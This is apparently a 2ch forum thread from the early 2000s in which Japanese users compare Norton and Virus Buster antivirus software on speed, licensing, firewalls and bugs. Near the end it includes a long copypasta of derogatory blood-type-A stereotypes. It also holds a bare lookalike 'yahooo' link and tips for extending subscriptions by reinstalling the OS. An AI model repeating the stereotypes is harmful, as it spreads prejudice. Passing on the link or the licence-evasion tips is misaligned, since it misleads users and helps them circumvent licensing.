脳豚糞重いAuto-Protectってやつ俺の環境じゃパソコンたち上げるのに五分もかかった。
速攻アンインスコしてバスターに変えたらリアルタイム検索のほうが軽かったよ。
バスター重い、重いとかよくカキコ見るけどそうでも無いじゃん。
ちなみに
スペックは
CPU：Pen4 1.70Ghz
メモリ：　256MB
OS：WinXPホーム

>>852
(　ﾟдﾟ)ﾎﾟｶｰﾝ まじ？？
ちなみに
W98SE
立ち上げ2分ちょい
CPU　P3 550

>>853
マジ

まじ

バスターでなくてノートンを選ぶ理由に
定義ファイルの更新が1年を過ぎてもできるってのは
ありますか？

ageとこう

http://yahooo.s2.x-beat.com/

まぁ、どっちも2003に移行するかどうかと
Win2ksp3対応にゃ色々とあるようで

質問させて下さい。
バスターは年会費払ってれば最新バージョンを使えます（2001→2002→2003）が、
ノートンもそういう風なシステムになってるんですか？

シマンテックのサイトとか見ても明記されてないし、アップグレードパッケージを販売するあたり、バスターと違って買い換えなきゃいけないのかなと不安になってます。

>>860
なぜ不安になるのか疑問。
ダウンロードしようが、箱を買おうが、
どちらも、新しいライセンスを購入するだけだと思うが。

>>860
ノートンに年会費制度はない。
更新代（延長のみ）、又はアップグレード代、
又は店頭販売のアップグレードパッケージを買って
製品の延長やアップグレードをしなくてはいけない。

でもその料金が割と高い。製品値段の半分以上だった（うろ覚え）

>>862
なるほどです。分かりました。ありがとうございます。

>>861
>どちらも、新しいライセンスを購入するだけだと思うが。

ちょっと違うと思う。

>なぜ不安になるのか疑問。

だから、訳が分からなかったからです。

あなたの書き込みは答えにもなってないし全然的を得ていません。
わざわざどうもでした。

「的を得る」ｷﾀｰｰｰｰｰｰｰｰｰｰ

「的を得る」 テストの回答だと零点

回答者は様々な経験を積んでいて、それ相応の経験を積んでそれそうおうの見解を持っているものだと思うけど。
こゆ訳わからんお方からいじられると、めげるよねん。

>>861
がんば。

>>863
どちらも購入しているのはソフトウェアの所有権ではなく、使用権だと思うが。
メインでない付加価値のほうに惑わされてないか？

スマソ。よく考えたら熱くなるところではなかった。
要は、各々が、好きなのを選べばそれでいいのではないか。

ノートンとバスター、それぞれのユーザーさんに聞きたいのですが、
今使ってるのを選んだ理由は何ですか？
自分はノートンですが、バスターはFWが弱いって聞いたので
これにしましたが。

>>869
当たりです

コスト優先ならウィルスバスターがいいですよ
パターンファイルはＣＤでもＷＥＢからでもダウンできるし
もし年契切れても色んなやりかたでアップデートできないことはないから
安心です

>>871
コストの本来の意味わかってる？
C/P比というのもあるよ。

どれもおなじ。使えるようになれば。

Nは(・∀・)ｲｲﾈ!!

バスター最強です。

埼京線、雨に弱いからなぁ．．．

メール検索に限って言えばバスターのほうが好き。

>>877
寝た？

>>877
いい夢を見てください。

>>1
どっちもどっち

〜〜〜〜〜〜〜〜〜終了〜〜〜〜〜〜〜〜〜

kept

ノートンだと、更新キー購入後にOSやソフト自体の再インストールをして
しまった場合、また更新キーを購入しなおさなければならない・・・。

バスターだと、再インストールするはめになっても、再度キーをもらえる。

この差は大きくないの？

>>882
さあ？、自分で判断してよ。再インストールの度合いと日常的な使い勝手など
判断基準は人それぞれでしょ。

>>882
ノートンの場合はレジストリをバックアップしてから再インストールすればよい

>882
購入？

トロイにはどっちが強いの？

>>886
どっちも弱い

バスター最強
ノートン最弱

埼京線、雨に弱いからなぁ．．．

バスとノトンてどっちが売れてるの？

NIS2003出たね
皆の衆店にGOでっか？

ちなみに俺はNIS2002の購読期間があるのでまだ買いません。。。

>>890
日本ではバスターがシェアNo1です。

やすいからさー

また最近ノトン厨ば騒ぎ出した

と、バスタ厨のたまいける

>>891
購読期間なぞOS再インスコすればいくらでも延びるZEEEEEEEEEEEEE

バスターはノートンよりも検出数、最新ワクチンの更新がダントツに優れている。
FWに関して、ノートンはバスターよりも細かく設定できるが、Freeには勝てない。
（ノートンはKerioのレベルダウンFW、バスターはZoneAlarmのレベルダウンFWって感じ）

昔、ノトンとバスタ両方放り込んで、怪しいサイトからダウソロードしまくったことがあるが、検知はノトンの方が早かった。
最近も１台ずつ入れて、ダウソロードしまくって遊んだがノトンの方が早かった気がする。
ってかバスタ感染したら手動じゃないと完全に削除できないのがあったりと使いにくいと思うが・・・・

>>897
ダントツって......

今は危険度の高いウィルスについて、アンチウィルスメーカー同士、世界規模で
レポートし合ってる（The Wildlist）ので、そういった意味では大差なし。
違ってくるとすれば、エンジンの違いによる、検出のタイミングと駆除能力。
ファイアウォールは、どちらの製品も、期待する方がよろしくない。

いずれを選んでも、ライセンス期間中に1〜2度はトラブルを起こすかもしれない。
その時に推薦者を恨まぬよう、自己責任で好きな方を選んで使うのがよい。

>>899
禿銅
ということで900かな

>>898
　漏れは全く逆の結果が出たよ。バスターの方がウイルス検出が速かった。
　ファイアーウォールも同じ。・・・バスターが一番最初に検知してブロックするので、ノートンの出る幕はなかった。

　人によって異なる結果が出るのは当然。　
　ＰＣもＯＳも違うし、設定も違う。ネットの環境も異なるし・・・・・。

TrendMicroは米国防省とハッカー対策の契約しましたな。
2週間も前の話だが。

マッチポンプで大信者け。
バカもチョンもネットに接続するご時世。
いい時代になりましたなあ。

エムックスというツールでノートンがあったのでインストールしてみたのだけど、
なかなかいいツールですね！！

>>904
割れ厨消え失せろ

>>904
呪いの割れソフトをインストールしたものは7日後に

>>904
33バイトに泣くがいい

age

>>842
>あと、zipからウイルス取り除いてくれる機能があるのってバスターだっけ？
>あのzip→解凍→検索→ウイルス発見→駆除→再圧縮　ってヤツ
VBﾃﾞﾂ

脳豚はまだ対応していないのかYO

漏れはVB使ってますが、WebTrapとURLﾌｨﾙﾀをｵﾝするとｴｸｽﾌﾟﾛｰﾗｰが固まる(鬱

1年以上も話し合っているのか・・・

　

ﾉﾄﾝは隔離するときZIPからｳｲﾙｽのﾊﾞｲﾅﾘ抽出して隔離してたような。。。

>>912
バスターも同じでは？

Nortonは2003になったらかなりよくなりました。（Internet Security

既出だったらすみません。
ノートンインターネットセキュリティ2002を使っているのですが、
システムリソースが不足していますなどエラーが発生し、
パフォーマンスを見ると１０％を切ってしまう状態になります。
ウイルスバスターでも同じ症状が出るのでしょうか？
教えてください。

>>915
うん。
つーか、リソース消費するのはウィルス対策ソフトだけではない。

>>916
ノートンを入れる前と入れた後では、はっきりと違いがあるのです。

>>917
体験版あんだから入れてみれ
こっちはあんたの環境を再現できないんだからさ

以前ノートンを使っていたが今はバスター、どうやら俺のPCとノートンが
かみ合わない。システムの復元をする度に、ファイルを破壊する。ああ恐ろしいノートン。

ノトン2002期限切れそうなんで2003買うまでのあいだバスタ体験入れるつもりだけどなんか気をつけることある会？

>>920
気をつける事　→　2003は買わない
http://pc.2ch.net/test/read.cgi/sec/1038736975/
http://pc.2ch.net/test/read.cgi/sec/1037822358/

NAV2002使っているのですが、Live Updateのｱｲｺﾝが1さんの頭に見えて困ります。
(http://www.ankohouse.com/j/Game1/u_8monar_myCharFile1.gif)

(( ))

↑これのことね。

ＶＢのお試し期間終わったのですがまたお試し出来ますか？

>>924
無理

買え！

いいかげん追われよ。何年保守するつもりだよ

そろそろ、、、でしょうか？　＞甲冑くん

>>924
それ、簡単だよ。それはネ……ﾊﾞﾀｯ zzzz

バスター2003体験版入れた
ブラウザ起動してリンクをクリックすると強制リセットの嵐！
これ相性なんでしょうか

>930
windowsは何？

OSはXP　Homeです
削除したら元に戻りました

bｎ

俺は以前ウィルスバスター2002を入れてたが、今回ノートン2003を入れようと
電気屋に行ったんだよ。そこで若い店員の兄ちゃんに、バスター2003とノートン2003
どっちが良いですか？と聞いたら、やっぱノートン2003の方がお勧めです。と言うから
ノートン2003買ったんですよ。そして家に帰り早速ノートン2003をインストールしたんですよ。
そしたらウイルスに反応してるんですよ。は？何で？よく考えてみたらメモ帳にウィルスのソースを
コピペして置いといたんですよ。早速消去してインストールしなおしたら重すぎて
インストール中にフリーズしまくり。最悪でした。しょうがなくバスター2003を買って
インストールしました。素直に入ってくれました。とりあえずクソノートンは頭にきて
捨てました。もう２度とノートンは入れません。最悪の出来事でした。

>>935
しょぼいパソコソ・・・

＜血液型A型の一般的な特徴＞（見せかけの優しさ（偽善）に騙されるな！）
●とにかく気が小さい(神経質、臆病、二言目には「世間」）
●他人に異常に干渉する（しかも好戦的・ファイト満々でキモイ）
●自尊心が異常に強く、自分が馬鹿にされると怒るくせに平気で他人を馬鹿にしようとする
（ただし、相手を表面的・形式的にしか判断できず(早合点・誤解の名人)、実際にはたいてい、内面的・実質的に負けている）
●「常識、常識」と口うるさいが、実はA型の常識はピントがズレまくっている（日本の常識は世界の非常識）
●権力、強者（警察、暴走族…ｅｔｃ）に弱く、弱者には威張り散らす（強い者に弱く、弱い者には強い）
●あら探しだけは名人級（例え10の長所があってもほめることをせず、たった１つの短所を見つけてはけなす）
●基本的に悲観主義でマイナス思考に支配されているため、性格がうっとうしい（根暗）
●一人では何もできない（群れでしか行動できないヘタレ）
●少数派の異質、異文化を排斥する(差別主義者）
●集団によるいじめのパイオニア＆天才(陰湿＆陰険）
●悪口、陰口が大好き（Ａ型が３人寄れば他人の悪口、裏表が激しい）
●他人からどう見られているか、体裁をいつも気にしている（「世間体命」、「〜みたい」とよく言う）
●自分の感情をうまく表現できず、コミュニケーション能力に乏しい（同じことを何度も言う、知障）
●表面上意気投合しているようでも、腹は各自バラバラで融通が利かず、頑固(本当は個性・アク強い）
●人を信じられず、疑い深い（自分自身裏表が激しいため、他人に対してもそう思う）
●自ら好んでストイックな生活をし、ストレスを溜めておきながら、他人に猛烈に嫉妬する（不合理な馬鹿）
●執念深く、粘着でしつこい（「一生恨みます」タイプ）
●自分に甘く他人に厳しい（自分のことは棚に上げてまず他人を責める。しかも冷酷）
●男は、女々しいあるいは女の腐ったみたいな考えのやつが多い

>>935
　ノートンの方が値段が高いから、売り手の利益も上がる。
　当然ショップの兄ちゃんはノートンを勧めるだろうね。

ノートンもバスターも変わらなかったぞ＜値段

ノートソよりバスターのほうが重くないか？
漏れはお金かけたくないからフリーの使ってるからどっちでもいいんだけどｗ

未だ付きそうにないですね〜（ｗ

ノートン派だが、どっちも2003は危ないみたいだな。バグがあって。
その上重い。

ＮＩＳの優待パッケージってありますよね
あれって通常のパッケージとどう違うんですか？

>>943
同じ

>>943
漏れは、シマンテックの製品や他社アンチウイルスソフトなんて持ってないのに、
普通に「優待」パッケージ買えたぞ。一体どういうことだ・・・
これじゃあ通常版買う必要ありませんよね。中身は同じで値段だけ無駄に高いわけだし。
ちなみにヤマダ電機で6，300円。（税別）バスターと、さほど変わらん。
で、入れてみたけ。バスターの糞さが嫌になるほど分かった。
バスターだと、リアルタイム検索切らないと糞重くてネットもできない程だたけど、
ノートンは軽い。通信速度の低下は微々。重いアプリ複数起動しても問題なし。
ノートンが糞とか言ってるやつは、自分のPCのスペックの低さをノートンのせいにしてるだけ。
>>935の店員の言ってることは正しい。

↑誤字ｽﾏｿ

>>945
一応バスターとノートン、両方使ってる身として一言。

バスターは2002なら、問題は無いんすよ。。。。。。。
2003の不具合連発ってのが、異常なほどで。

バスター体験版なら2002、2003共使ったことある。
2002なら問題は無いです。それでも僕がノートンに変えた理由は、
バスターのデザインの悪さに耐え切れなくなったから。

>>948
デザインの悪さかぁ。。。。。
一応ですね、機能とデザインの相関のみで、安心できるってものでもないんですけどね。。。

バスターの利点として、日本国内のマイナーなウイルスとかトラップとかに、いち早く対処してるって点ですけどねん。
まぁとりあえず、サブとして利用してみてくだされ。

>>951　

次スレよろ　

【2003対決】 バスターVSノートン 【結局どっち？】

次スレです。

【2003対決】バスターVSノートン　ウイルス2個目
http://pc.2ch.net/test/read.cgi/sec/1041333463/

摘め建てせよ
１０００GET宗教呼んでこい

（´∀｀　）じゅーてむじゅてーむ♪

積め建て

積め建て

イスラエルのラドウェアの製品はどう？

（＾＾）

あげ

　　　　　　　　まもなくここは　乂1000取り合戦場乂　となります。

　 　 　 ＼∧＿ﾍ　　　　　／￣￣￣￣￣￣￣￣￣￣￣￣
　,,､,､,,,　/ ＼〇ノゝ∩ ＜　1000取り合戦、いくぞｺﾞﾙｧ！！　　　　　　　,,､,､,,,
　　　　/三√ ﾟДﾟ)　/　　 ＼＿＿＿＿＿＿＿＿＿＿＿＿　　,,､,､,,,
　　 　　/三/| ﾟＵﾟ|＼　　　　　　,,､,､,,,　　　　　　　　　　　　　　　　　　　　　　　,,､,､,,,
　,,､,､,,,　Ｕ （:::::::::::）　　,,､,､,,,　　　　　　　　　＼オーーーーーーーッ！！／
　　 　 　//三/|三|＼　　　　　∧＿∧∧＿∧ ∧＿∧∧＿∧∧＿∧∧＿∧
　　　　　　∪　 ∪　　　　　　 （　　　　）　　　 （　　　　 ）　　　（　　　　）　　　 ）
　,,､,､,,,　　　　　　　,,､,､,,,　　∧＿∧∧＿∧∧＿∧ ∧＿∧∧＿∧∧＿∧∧＿∧
　　　　　　,,､,､,,,　　　　　　 （　　　　）　　　 （　　　　）　　　 （　　　　）　　　 （　　　　）